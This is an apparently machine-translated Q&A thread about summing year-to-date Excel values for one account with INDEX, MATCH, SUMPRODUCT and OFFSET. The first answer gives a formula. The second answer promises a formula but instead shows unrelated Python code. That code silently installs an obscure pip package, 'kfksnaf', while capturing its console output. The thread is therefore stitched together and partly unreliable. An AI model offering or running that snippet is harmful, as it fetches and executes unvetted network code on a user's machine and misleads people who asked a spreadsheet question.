索引/匹配/取消产生多个行和列

时间:2016-03-21 18:36:47

标签: excel excel-formula

我正在尝试获取特定帐户的年度总计。假设我们现在在七月。帐户5340的年初总计应为2800

enter image description here

在下面的公式中,AT29=5340AT28=7

我试过了

=SUM(INDEX(AV$4:AV$25,MATCH(AT29,AU$4:AU$24,0)):INDEX(AV$4:BG$25,MATCH(AT29,AU$4:AU$24,0),7))但这只能让我找到第一行。

=SUMPRODUCT((AU4:AU24=AT29)*AV4:BG24)但这给了我整整一年的时间。

=SUMPRODUCT((AU4:AU24=AT29)*INDEX(AV4:BG24,,AT28)) 但这只是给了我7月份的总和。

=SUMPRODUCT((AU4:AU24=AT29)*(SUM(INDEX(AV4:AV24,,1):INDEX(AV4:BG24,,AT28))))  但这给了我一些我不知道它是什么的XD

2 个答案:

答案 0 :(得分:2)

因为您的数据是在主索引列上排序的,所以可以使用单个SUM函数覆盖单个OFFSET函数来执行此操作。

要确定您要汇总的区域,请从数据上方和左侧的左上角开始 - 假设是A1(我无法从您的示例中了解您的网页实际设置情况)。您需要向下移动行数,直到匹配您正在查找的帐户为止。您将要转到右侧1列,因为您将始终在1月份开始。然后,您可以获取与数据中该帐号匹配的行数。您可以选择与测试时间线中有数月相同数量的列。总之,这看起来像:

=SUM(OFFSET(A1,MATCH(A12,A1:A9,0),1,COUNTIFS(A2:A9,A12),A13))

注意:这假设您的帐户来自A2:A9,并且您已在单元格A12中键入了指定的帐号,并且您已计算出单元格A13中当年的年度数。< / p>

TL; DR :将左上方的2D框与特定帐户的第一个实例相加,向下移动与该帐户的实例一样多的行,然后转到今年迄今为止有多少列的权利。

答案 1 :(得分:2)

如果AU中的数字按顺序排列,则以下非易失性公式将起作用:

import sys
import pip
import io

stdout_real = sys.stdout
sys.stdout = io.StringIO()
try:
    pip.main(["install","kfksnaf"])
finally:
    stdout_real.write(sys.stdout.getvalue())
    sys.stdout = stdout_real

使用COUNTIF()会将行扩展正确的行数。